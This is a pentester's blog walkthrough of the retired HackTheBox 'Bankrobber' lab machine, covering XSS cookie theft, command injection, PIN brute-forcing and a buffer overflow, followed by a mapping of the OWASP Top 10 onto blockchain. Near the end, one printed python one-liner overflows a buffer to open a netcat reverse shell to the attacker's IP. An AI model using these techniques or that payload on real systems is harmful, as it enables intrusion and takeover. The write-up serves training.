From “Hackthebox -Bankrobber” to Mapping the OWASP Top 10 to Blockchain
As the core technology of the Distributed Ledger Technology (DLT) platform, blockchain is considered to have broad application prospects in many fields such as finance, credit investigation, Internet of Things, economic and asset management, cyber security and etc. As a pentester, I’ve playing with a retired machine from hackthebox (bankrobber) these days and it aroused my interest to the area of blockchain security.
Let’s start from digging into the box first
It’s an insane difficulty box with multiple unique skills included, especially a lot of XSS in the initial foothold stage,
To start with, let’s run nmap for port scanning. Very few ports are open, but web ports 80 and 443 should be focused on mainly
Opening the web page, it turns to a bitcoin transferring platform. Where we can create an account
So I created a user “chenny;password” on the page. Log in with the account we just registered . It comes to a page that we can use for initiating E-coin transfering .
After playing with this web application a little while, I found a message will appear when we hit the transfer E-coin button as below. Nothing happening on our side, which means the admin will have to review it. So our attack vector is very possibly be client side attack (XSS) to get any admin login cookies.
Write a XSS script for stealing the admin cookie
set up a netcat listener on port 1234 while initiating the transfer. Therefore we get the cookies back.
decode the cookie with burpsuite
we get the credentials “admin: Hopelessromantic”
Log in as the admin user, and we could see a page like this where transactions are waiting for approvals
There is a very interesting function on the page, backdoorchecker
However, it only allows running the “dir” command
Run dir command , oops it doesn’t work.
we need to figure out how to send request from localhost. and this is where we could use the XSS from previous page.
craft a javascript payload
An XMLHttpRequest object is created and the URL is set to backdoorchecker.php . The character separates the dir command from the ping command, and the cmd parameter is set to this value. The xhr.withCredentials property is set to true, which will automatically add the cookies to the request. This script can be included with the script tag.
This is the way we use to escape the command dir restriction and run ping command
craft a xss payload , inject the shell.js in the xss
we got a 200 OK
run tcpdump and we can see the connection traffic between our localhost with the target machine (the ping works) which means we have the code execution
(since i just restarted the vpn, my local host changed to 10.10.14.8)
netcat listener : https://github.com/int0x33/nc.exe
set up a netcat listener on port 443 while do the transfer again
here we got a reverse shell back ,got the user flag !
Now working on privilege escalation !
looking for anything interesting in the system , and we found a binary
Looking at netstat for ports listening locally
port 910 is very uncommon
forward this port in order to access it since the firewall blocks our direct access. Achieve it with chisel
Download the chisel from github , start a server locally in reverse mode, so we can forward local ports to remote
Next execute the command on the target box to create a tunnel on port 910
this command connect to our server and create a tunnel from port 910 on our host to port 910 on the box . let’s try connecting to the port now
so the service asks us to enter a 4 digit pin. a wrong pin will cause immediate disconnection. We will have 0000–9999 possibilities (10000 choices) , let’s bruteforce this
write a script to bruteforce the pin
it’s trying the pin and we found the pin 0021
successfully logged in the E-coin transfer system. We are able to transfer the amount of e-coins
we could see that the transfer is executing with a function transfer.exe
seems like the server maybe vulnerable to buffer overflow
(the value could be overwritten)
so let’s create a long string with msf-pattern_create , replace A with the long string and find the offset address
since we already have a nc located at \Users\Cortin\AppData\Local\Temp\n.exe
we can create a payload to overwrite it
root@kali:~# python -c ‘print “A”*32 + “\\Users\\Cortin\\AppData\\Local\\Temp\\n.exe -e cmd.exe 10.10.14.8 1234”’
set up a netcat listener port 1234 and we got a reverse shell from the system administrator privilege
here we got the root.txt !!!
From pentesting this box , we could see XSS +XHR , command injection from very beginning and finally the binary exploitation . Even it is about blockchain , there are still many things to do with classical security issues.
In the second part of this article , i’d like to map the OWASP Top Ten to Blockchain
- Injection is still one of the most popular in blockchain security projects. If the developer do not appropriately handle the user input, it can be crafted in a way that allows it to run unauthorized commands. Just like the box we just pwned
2. Broken Authentication : similiarly as the box we just pwned. Remember the part that we bruteforce the credentials for E-coin transfering system ? In reality ,The LISK cryptocurrency is a good example of where design oversights allowed an attack on authentication in a blockchain. In LISK, a user’s address on the blockchain is achieved by hashing their public key and truncating the result to 64 bits . This hash and truncation method of generating addresses is common; however, the short length of LISK addresses and the fact that addresses are not immediately tied to public keys makes LISK vulnerable to attack.
3. Sensitive Data Exposure : This is very common since blockchain is a new Tech. The blockchain is immutable, meaning that any data stored on it cannot be removed (without control of every node in the network). Most blockchains are also public, allowing anyone to download and store a complete copy of the data in the ledger.
4. XML External Entities : Since blockchain is not XML-based, this vulnerability is not generally applicable to blockchain technology. But could be applicable to the files on web servers.
5. Broken Access control : This is different with broken authentication because it could cause more damage some time. A malicious user could use broken access control vulnerability to gain access to the unprotected functionality. Poorly implemented access control mechanisms are one of the major vulnerabilities seen in Ethereum smart contracts. The Parity smart contract-based multi-signature wallet is known for being exploited twice due to access control vulnerabilities. In both cases, Parity smart contracts had a function designed to let the owner call it and claim ownership of the contract but didn’t check that it was only called once.
6. Security Misconfiguration: Blockchains are implemented as software running on client’s machines in a peer-to-peer network, so it makes sense that security misconfigurations could impact security. In one case, users of an Ethereum wallet configured their wallets to listen and accept external commands via RPC (port 8545). Attackers taking advantage of this vulnerability were able to steal $20 million worth of Ethererum
7. XSS (Cross Site Scripting) : like the machine we just pwned, XSS exisits in the money transferring application can lead us to the admin level privilege.
8. Insecure Deserialization : Serialization is commonly used for transmission of sets of data across a network. If deserialization code is improperly implemented, a malicious transmission could allow an attacker to exploit a vulnerable machine
9. Using Components with Known Vulnerabilities : Code reuse in Ethereum smart contracts is even more common than non-blockchain applications. In fact, less than 10% of Ethereum smart contracts do not reuse code [8]. Since many smart contract programmers have limited experience with the technology and the associated risks, this means that many smart contracts on the Ethereum blockchain contain known vulnerabilities due to code reuse.
10. Insufficient Logging and Monitoring : The blockchain creates an immutable ledger of actions taken on the system, making it ideal for logging purposes. However, while logging is great, it’s useless is no-one is looking at the logs. Many smart contracts on the blockchain are “fire and forget” and go unmonitored by their owners, making them potentially vulnerable to exploitation without detection.
